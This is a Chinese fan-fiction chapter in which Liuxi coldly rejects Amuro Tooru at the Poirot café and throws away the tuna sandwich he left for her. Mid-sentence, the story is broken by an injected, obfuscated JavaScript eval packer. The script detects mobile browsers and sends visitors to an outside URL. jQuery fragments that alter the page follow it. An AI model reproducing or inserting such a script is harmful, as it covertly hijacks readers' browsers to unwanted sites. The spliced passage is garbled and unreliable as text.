那盒金枪鱼三明治放在波洛咖啡厅员工休息室的桌子上，包装得很仔细，外面还系着一个小小的蓝色丝带。


    鎏汐早上九点来上班时，它就在那里了。店长朝她眨眨眼，指了指三明治，又指了指正在吧台后忙碌的那个金色头发的背影。


    “安室特意给你留的，”店长压低声音说，“说你今天早班，可能来不及吃早餐。”


    鎏汐看着那个盒子，手指微微收紧。她昨天在实验室熬到凌晨三点，确实没吃早餐，现在胃里空得发慌。而且那是金枪鱼三明治——安室透知道她喜欢在鱼肉里加一点柠檬汁和黑胡椒，知道她不爱吃生菜叶只喜欢脆黄瓜片，知道她喜欢用全麦面包而不是白面包。


    他知道她所有的喜好，记得她所有的习惯，却不肯告诉她那些最重要的秘密。


    “我不饿。”她听见自己说，声音平静得连自己都惊讶。


    店长愣了一下，张了张嘴想说什么，但最终只是叹了口气，转身去招呼刚进门的客人了。


    鎏汐换上围裙，开始整理餐桌。今天是周六，波洛的客人比平时多，她需要在十点前把所有的餐具摆放整齐，准备好咖啡豆和牛奶。她动作熟练地把咖啡杯一个个擦亮，按颜色分类摆放，刀叉叠成整齐的小塔。


    但眼角的余光总是忍不住飘向员工休息室的那张桌子。


    蓝色丝带在晨光下泛着柔和的光。


    上午十点半，第一波客人高峰期过去，鎏汐终于有了喘息的空隙。她走进员工休息室，想喝口水，目光又落在那盒三明治上。


    包装纸是波洛特制的，上面印着咖啡杯的图案。她记得安室透刚来波洛时，曾经对着这种包装纸研究了很久，说“设计得不够吸引人，应该加点暖色调”，然后真的重新设计了一版。虽然店长最后因为成本问题没有采用，但他画的那张草图，鎏汐一直收在抽屉里。


    她伸出手，指尖轻轻碰了碰那个蓝色丝带。


    “为什么不吃？”


    声音从门口传来。


    鎏汐猛地收回手，转过身。安室透站在门口，手里托着一个托盘，上面放着两杯刚做好的咖啡。他今天穿着深灰色的衬衫，袖子挽到手肘，露出线条流畅的小臂。阳光从窗外照进来，在他金色的头发上镀了一层浅金。


    他看起来很疲惫。眼下有明显的青黑色，下巴上有没刮干净的胡茬，连那总是挺直的背脊都微微弯着。


    “我不饿。”鎏汐重复了一遍早上的话，声音更冷了。


    安室透走进来，把托盘放在桌上。他拿起其中一杯咖啡，递给她。“卡布奇诺，双倍奶泡，不加糖。”


    那是她以前最喜欢的口味。


    鎏汐没有接。“我改口味了。”


    安室透的手在空中停顿了几秒，然后慢慢放下。“那你现在喜欢喝什么？我重新给你做。”


    “不用。”她转过身，打开储物柜，拿出自己的水杯，“我喝水就好。”


    休息室里的空气凝固了。外面传来客人的谈笑声，刀叉碰撞的清脆声响，咖啡机工作的嗡嗡声，但在这个小小的空间里，只有令人窒息的沉默。


    安室透看着她背对着他的身影，喉结滚动了一下。


    “鎏汐，”他开口，声音低哑，“我们能不能——”


    “不能。”她打断他，依然没有回头，“我说过我们需要时间冷静。现在还是那个时间。”


    “已经一个月了。”他的声音里带着一丝压抑不住的情绪，“你搬出去一个月了，我们一句话都没说过。鎏汐，就算要判我死刑，也该给我一个申诉的机会。”


    “申诉？”鎏汐终于转过身，直视着他，“你打算怎么申诉？再用‘我有苦衷’、‘你别问了’来搪塞我吗？”


    安室透的嘴唇抿成一条直线。那双紫灰色的眼睛里翻涌着她看不懂的东西——痛苦，挣扎，还有某种近乎绝望的东西。


    “我不能告诉你。”他低声说，“但你要相信我，我所做的一切，都是为了——”


    “为了保护我？”鎏汐笑了，那笑声里满是讽刺，“一次又一次把我丢下，连解释都没有一句，这就是你的保护？”


    她往前走了一步，逼近他。


    “解剖室那次，佐藤学长本来也许能救回来。雨夜那次，如果不是冲矢昴学长刚好路过，我现在可能已经不知道被带到哪里去了。安室透，你的保护，就是让我一次又一次陷入危险，然后在你需要离开的时候，头也不回地走掉吗？”


    每一个字都像一把刀，扎进安室透的心里。他的脸色越来越苍白，握紧的拳头指关节泛白。


    “对不起。”他说，声音几乎是从喉咙里挤出来的，“对不起，鎏汐。我知道我伤害了你，我知道我不配求你原谅，但是——”


    “但是什么？”鎏汐打断他，“但是你还是不会告诉我真相？还是会在下一次接到电话的时候转身就走？还是会让我继续像个傻子一样等着你？”


    眼泪毫无预兆地涌上来，但她硬生生憋了回去。她不能在安室透面前哭，不能让他看见她的软弱。


    “我要工作了。”她深吸一口气，转身往外走。


    “鎏汐！”安室透抓住她的手腕。


    他的手掌很烫，力度很大，鎏汐能感觉到他指尖的颤抖。她停下脚步，但没有回头。


    “放开。”


    “再给我一点时间。”他的声音贴在她耳边，带着恳求，“等我把事情处理完，我会把一切都告诉你。我发誓。”


    鎏汐闭上眼睛。这个场景太熟悉了——他抱着她，在她耳边承诺，说会告诉她一切，说会给她一个交代。然后呢？然后就是漫长的等待，无尽的失望。


    “我给了你很多时间了。”她轻声说，声音里的疲惫终于掩饰不住，“我给了你一次又一次的机会，等你愿意相信我，等你愿意让我走进你的世界。可是安室透，人的心是会凉的。”


    她感觉到他的手僵住了。


    “我的心已经凉了。”她说，“所以，请你放开我。”


    安室透的手指一点点松开。鎏汐抽出自己的手，头也不回地走出了休息室。


    外面的阳光很刺眼。她走到吧台后，开始清洗咖啡杯，动作机械而迅速。水龙头里流出的冷水冲在手上，让她稍微冷静了一点。


    透过玻璃窗，她看见安室透还站在休息室门口，身影在阳光下显得格外孤独。他低着头，肩膀微微垮着，像是在承受某种无形的重量。


    鎏汐强迫自己移开视线。


    下午两点，午市高峰期结束。鎏汐清理完最后一张桌子，准备去休息室拿自己的东西下班。刚走到门口，就看见那盒三明治还放在桌上。


    蓝色丝带在午后斜射的阳光里，温柔得刺眼。


    她盯着它看了很久，然后走过去，拿起盒子，拆开包装。里面的三明治确实是她喜欢的口味——金枪鱼肉里加了柠檬汁和黑胡椒，黄瓜片切得很薄，全麦面包烤得恰到好处，边缘微微焦黄。


    她能想象安室透做这个三明治时的样子——专注


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128375|194076||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地处理食材，仔细地调味，认真地包装，最后系上那个小小的丝带。


    他记得她所有的喜好，却忘记了最重要的那一点：她要的不是体贴，不是照顾，是坦诚，是信任。


    鎏汐拿着三明治，走到休息室角落的垃圾桶前。


    垃圾桶是崭新的，今天早上刚换的垃圾袋，里面空空如也。她看着手里的三明治，金枪鱼的香气钻进鼻腔，唤醒了她胃里的饥饿感。


    她确实饿了。从昨天到现在，她只喝了一杯咖啡。


    但是……


    鎏汐闭上眼睛，深吸一口气，然后松开手。


    三明治掉进垃圾桶里，发出轻微的“噗”的一声。蓝色丝带飘落在旁边，像一只折断翅膀的蝴蝶。


    她没有再看一眼，转身拿起自己的包，走出了休息室。


    经过吧台时，安室透正在给一位客人结账。他抬头看了她一眼，目光越过她的肩膀，落在她身后的休息室门口。


    鎏汐知道他看见了。


    她看见他脸上的血色一点点褪去，看见他的手指收紧，看见那双紫灰色的眼睛里，有什么东西彻底碎了。


    但她没有停下脚步，径直走向咖啡厅的大门。


    风铃响了。


    门外是米花町午后的街道，阳光明媚，行人悠闲。鎏汐沿着人行道往前走，脚步很快，像是在逃离什么。


    走到街角时，她终于忍不住回头看了一眼。


    透过波洛咖啡厅的玻璃窗，她看见安室透还站在吧台后，低着头，一动不动。阳光从窗外照进来，在他身上投下长长的影子，孤独得像是被整个世界遗弃了。


    鎏汐转回头，继续往前走。


    风吹起她的头发，带着初春微凉的气息。她把手伸进口袋，摸到了手机。屏幕上有两条未读信息——一条是冲矢昴发来的，问她今晚要不要一起吃饭，讨论下周末的实验数据；另一条是毛利兰发的，约她明天去逛街。


    她没有回复。


    走到公交站时，她停下脚步，看着站牌上自己的倒影。苍白的面容，红肿的眼睛，紧抿的嘴唇。


    她想起刚才安室透看着她的眼神，想起他眼里的痛苦和绝望，想起那个掉进垃圾桶的三明治。


    胃里突然一阵绞痛。


    不是饥饿，是别的什么东西，更深，更冷，更痛的东西。


    公交车来了。鎏汐上车，找了个靠窗的位置坐下。车子启动，波洛咖啡厅的招牌越来越远，最后消失在街角。


    她把额头抵在冰凉的玻璃窗上，闭上了眼睛。


    口袋里，手机又震动了一下。她掏出来看，是一条陌生号码发来的信息，只有三个字：


    “好好吃饭。”


    没有署名，但她知道是谁。


    鎏汐盯着那三个字看了很久，然后按下删除键。


    信息消失了，就像从未存在过一样。


    她把手机放回口袋，看着窗外掠过的街景。东京的春天来了，路边的樱花树开始冒出粉色的花苞，阳光暖暖地照在街道上。


    一切都那么美好，那么生机勃勃。


    只有她的心里，还停留在那个寒冷的冬天。


    公交车在下一个站点停下，又一批乘客上车。有人在她旁边坐下，带着淡淡的香水味。有人在大声讲电话，有人在轻声交谈。


    鎏汐靠着窗，闭上眼睛。


    她不想看见任何东西，不想听见任何声音，不想思考任何问题。


    只想就这样，一直坐下去。